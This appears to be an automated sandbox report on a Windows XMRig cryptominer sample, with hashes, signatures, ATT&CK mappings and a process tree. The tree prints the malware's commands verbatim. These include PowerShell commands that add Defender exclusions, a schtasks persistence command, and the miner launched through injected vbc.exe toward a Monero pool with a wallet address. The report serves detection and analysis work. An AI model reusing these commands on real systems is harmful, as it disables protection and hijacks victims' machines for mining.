xmrig | 5a76c81f4ef3d44bb82cc9b68c673107ed753438eb06e9d4b1c484b65ac94ccf

Analysis

max time kernel
60s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
15/12/2022, 16:59

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General

Target
file.exe
Size 2.4MB
Sample221215-vhdynach38
SHA256 5a76c81f4ef3d44bb82cc9b68c673107ed753438eb06e9d4b1c484b65ac94ccf
MD5 b33f19098c6d920291813eb6ac9c0404
SHA1 8ca0c1ea7f3601e0d89d23f90b1b461e5791c84a
SHA512 2c0a5064fc1d8e4cd3d0857c61b58e93e22aa12008e335bca04363d10d4ae1f1b13d3963251fb81e5a5cc076aa7f738d58dbf116d02f84094038e887f5403e33
SSDEEP 49152:AKrFGnVpVYK/nmO+ZNA5ITcFy4T0c1d6ipnJI:AGK/nmO+ZNA5I4FP1Mipe
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/4828-191-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4828-193-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4828-192-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/4828-194-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4828-196-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4828-200-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
1916	JTPFKOXW.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	JTPFKOXW.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1916 set thread context of 4828	1916	JTPFKOXW.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2240	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3512	timeout.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3736	file.exe
3736	file.exe
3752	powershell.exe
3552	powershell.exe
3552	powershell.exe
3752	powershell.exe
1916	JTPFKOXW.exe
1916	JTPFKOXW.exe
1184	powershell.exe
4576	powershell.exe
1184	powershell.exe
4576	powershell.exe
1916	JTPFKOXW.exe
1916	JTPFKOXW.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	3736	file.exe
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	1916	JTPFKOXW.exe
Token: SeDebugPrivilege	1184	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeLockMemoryPrivilege	4828	vbc.exe
Token: SeLockMemoryPrivilege	4828	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4828	vbc.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3736 wrote to memory of 3752	3736	file.exe	82
PID 3736 wrote to memory of 3752	3736	file.exe	82
PID 3736 wrote to memory of 3552	3736	file.exe	83
PID 3736 wrote to memory of 3552	3736	file.exe	83
PID 3736 wrote to memory of 1084	3736	file.exe	86
PID 3736 wrote to memory of 1084	3736	file.exe	86
PID 1084 wrote to memory of 3512	1084	cmd.exe	88
PID 1084 wrote to memory of 3512	1084	cmd.exe	88
PID 1084 wrote to memory of 1916	1084	cmd.exe	89
PID 1084 wrote to memory of 1916	1084	cmd.exe	89
PID 1916 wrote to memory of 1184	1916	JTPFKOXW.exe	90
PID 1916 wrote to memory of 1184	1916	JTPFKOXW.exe	90
PID 1916 wrote to memory of 4576	1916	JTPFKOXW.exe	92
PID 1916 wrote to memory of 4576	1916	JTPFKOXW.exe	92
PID 1916 wrote to memory of 372	1916	JTPFKOXW.exe	94
PID 1916 wrote to memory of 372	1916	JTPFKOXW.exe	94
PID 372 wrote to memory of 2240	372	cmd.exe	96
PID 372 wrote to memory of 2240	372	cmd.exe	96
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101
PID 1916 wrote to memory of 4828	1916	JTPFKOXW.exe	101

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp148.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:3512
- - C:\ProgramData\common\JTPFKOXW.exe
    "C:\ProgramData\common\JTPFKOXW.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4576
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:372
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:2240
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

JTPFKOXW.exe

Path C:\ProgramData\common\JTPFKOXW.exe
Size 2.4MB
SHA256 5a76c81f4ef3d44bb82cc9b68c673107ed753438eb06e9d4b1c484b65ac94ccf
MD5 b33f19098c6d920291813eb6ac9c0404
SHA1 8ca0c1ea7f3601e0d89d23f90b1b461e5791c84a
SHA512 2c0a5064fc1d8e4cd3d0857c61b58e93e22aa12008e335bca04363d10d4ae1f1b13d3963251fb81e5a5cc076aa7f738d58dbf116d02f84094038e887f5403e33
SSDEEP 49152:AKrFGnVpVYK/nmO+ZNA5ITcFy4T0c1d6ipnJI:AGK/nmO+ZNA5I4FP1Mipe
MD5 SHA1 SHA512 SSDEEP

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JTPFKOXW.exe

Path C:\ProgramData\common\JTPFKOXW.exe
Size 2.4MB
SHA256 5a76c81f4ef3d44bb82cc9b68c673107ed753438eb06e9d4b1c484b65ac94ccf
MD5 b33f19098c6d920291813eb6ac9c0404
SHA1 8ca0c1ea7f3601e0d89d23f90b1b461e5791c84a
SHA512 2c0a5064fc1d8e4cd3d0857c61b58e93e22aa12008e335bca04363d10d4ae1f1b13d3963251fb81e5a5cc076aa7f738d58dbf116d02f84094038e887f5403e33
SSDEEP 49152:AKrFGnVpVYK/nmO+ZNA5ITcFy4T0c1d6ipnJI:AGK/nmO+ZNA5I4FP1Mipe
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 a0025cdf7f56b2916791152d8e800cafc204e0158ac25b5a9f27ea1d13602b50
MD5 1337a6d548829ee23cdd9a8fd7d8d63d
SHA1 e90dd79e4b0ff72962287f52a7b81e8f158e8abb
SHA512 454eac0196636936ad0c5a40e3db8b2b883b25c486a241e484817bc06ec4d20ed617a7bd506ff4762f62760f0fb20b59374257e09b86ae6a8d8959ec7507921b
MD5 SHA1 SHA512

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tmp148.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp148.tmp.bat
Size 142B
SHA256 948ba284cca89be519f55f380a25bee98b57d6f9fe3a250b9897c293a502d9c9
MD5 0b03f23346fb3f4a0fa0e144d6a14dd0
SHA1 07b4bfd6d3561a2574253be3e4a575a0eaade9f5
SHA512 c06acfcdaaf5552481b3c149888a92b73b41f5def30e6f5dbb833c492b487b629fcdc9ae21499950e553ddbdd13ff41a53988f7611aa4740774f094c0f18a84e
MD5 SHA1 SHA512

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memory/1184-184-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/1184-181-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/1916-190-0x00007FF9A02E0000-0x00007FF9A031B000-memory.dmp

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memory/1916-168-0x00007FF9A1950000-0x00007FF9A1AF1000-memory.dmp

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memory/1916-172-0x00007FF9858F0000-0x00007FF985A3E000-memory.dmp

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memory/1916-202-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/1916-201-0x0000000000820000-0x0000000000AE0000-memory.dmp

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memory/1916-199-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/1916-198-0x0000000000820000-0x0000000000AE0000-memory.dmp

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memory/1916-171-0x0000000000820000-0x0000000000AE0000-memory.dmp

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memory/1916-186-0x00007FF9A1810000-0x00007FF9A1837000-memory.dmp

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memory/1916-188-0x00007FF980170000-0x00007FF980272000-memory.dmp

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memory/1916-170-0x00007FF9A1920000-0x00007FF9A194B000-memory.dmp

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memory/1916-165-0x00007FF9A23E0000-0x00007FF9A247E000-memory.dmp

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memory/1916-189-0x00007FF9A27E0000-0x00007FF9A284B000-memory.dmp

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memory/1916-187-0x00007FF985860000-0x00007FF985895000-memory.dmp

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memory/1916-169-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/1916-175-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/1916-174-0x0000000001260000-0x00000000012A3000-memory.dmp

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memory/1916-164-0x00007FF985B00000-0x00007FF985BAA000-memory.dmp

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memory/1916-173-0x0000000000820000-0x0000000000AE0000-memory.dmp

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memory/1916-167-0x00007FF985A40000-0x00007FF985AFD000-memory.dmp

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memory/1916-166-0x00007FF99EE30000-0x00007FF99EE42000-memory.dmp

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memory/3552-156-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/3552-152-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/3736-139-0x0000000000160000-0x0000000000420000-memory.dmp

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memory/3736-133-0x00007FF985B00000-0x00007FF985BAA000-memory.dmp

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memory/3736-141-0x00007FF9A1920000-0x00007FF9A194B000-memory.dmp

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memory/3736-148-0x0000000000160000-0x0000000000420000-memory.dmp

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memory/3736-140-0x0000000003190000-0x00000000031D3000-memory.dmp

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memory/3736-149-0x0000000003190000-0x00000000031D3000-memory.dmp

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memory/3736-135-0x00007FF99EE30000-0x00007FF99EE42000-memory.dmp

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memory/3736-151-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/3736-137-0x00007FF9A1950000-0x00007FF9A1AF1000-memory.dmp

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memory/3736-138-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/3736-136-0x00007FF985A40000-0x00007FF985AFD000-memory.dmp

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memory/3736-134-0x00007FF9A23E0000-0x00007FF9A247E000-memory.dmp

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memory/3736-144-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/3736-142-0x0000000000160000-0x0000000000420000-memory.dmp

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memory/3736-143-0x00007FF9858F0000-0x00007FF985A3E000-memory.dmp

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memory/3752-150-0x000002A9FC9D0000-0x000002A9FC9F2000-memory.dmp

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memory/3752-155-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/3752-159-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/4576-182-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/4576-185-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

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memory/4828-196-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4828-197-0x000001874BB40000-0x000001874BB80000-memory.dmp

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memory/4828-195-0x000001874A170000-0x000001874A190000-memory.dmp

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memory/4828-194-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4828-200-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4828-193-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4828-191-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4828-203-0x000001874BB80000-0x000001874BBA0000-memory.dmp

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memory/4828-204-0x000001874BBA0000-0x000001874BBC0000-memory.dmp

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memory/4828-205-0x000001874BB80000-0x000001874BBA0000-memory.dmp

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memory/4828-206-0x000001874BBA0000-0x000001874BBC0000-memory.dmp

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